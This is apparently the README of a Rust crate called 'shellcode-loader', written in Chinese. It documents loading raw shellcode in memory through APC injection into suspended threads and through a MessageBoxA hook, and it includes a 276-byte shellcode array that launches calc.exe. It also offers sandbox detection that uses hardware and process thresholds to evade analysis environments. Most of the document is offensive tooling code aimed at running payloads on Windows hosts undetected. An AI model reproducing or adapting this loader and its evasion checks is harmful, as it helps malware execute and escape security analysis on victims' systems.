# shellcode-loader
## 一个在内存中加载二进制shellcode的rust crate
## 目前支持以下加载方式:
- `APC注入`:向挂起的线程的APC队列中添加任务来执行shellcode
- `hook messageBoxA`:hook messageBoxA函数,在调用messageBoxA时跳转到自定义的函数执行
示例:APC注入:
```
use shellcode-loader::loader_apc:apc;
#[test]
pub fn test_1(){
let buf: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,
0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,
0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,
0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,
0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,
0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,
0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,
0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,
0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,
0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,
0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,
0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,
0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,
0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,
0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,
0x2e,0x65,0x78,0x65,0x00];
let _=apc(&buf);
}
```
示例:hook messageBoxA:
```
#[test]
pub fn test_hook_message_box_a_hook(){
fn hello(){
//你自己定义的任意函数
println!("hello hook!");
}
hook_message_box_a_hook(hello);
}
```
## 支持以下操作:
- `沙箱检测`:通过CPU数量、RAM大小、进程数量、磁盘大小来判断是否为沙箱
示例:沙箱检测:
```
#[test]
pub fn test_is_sandbox(){
//自定义四个常数,当目标系统的某个值小于自定义的常数时,判定为沙箱环境
const MAX_CPU_COUNT:u32=4;
const MAX_RAM_SIZE:u32=8;
const MAX_PROCESS_COUNT:u32=100;
const MAX_DISK_SIZE:u32=60;
println!("isSandbox?{}!",is_sandbox(MAX_CPU_COUNT, MAX_RAM_SIZE, MAX_PROCESS_COUNT, MAX_DISK_SIZE));
}
```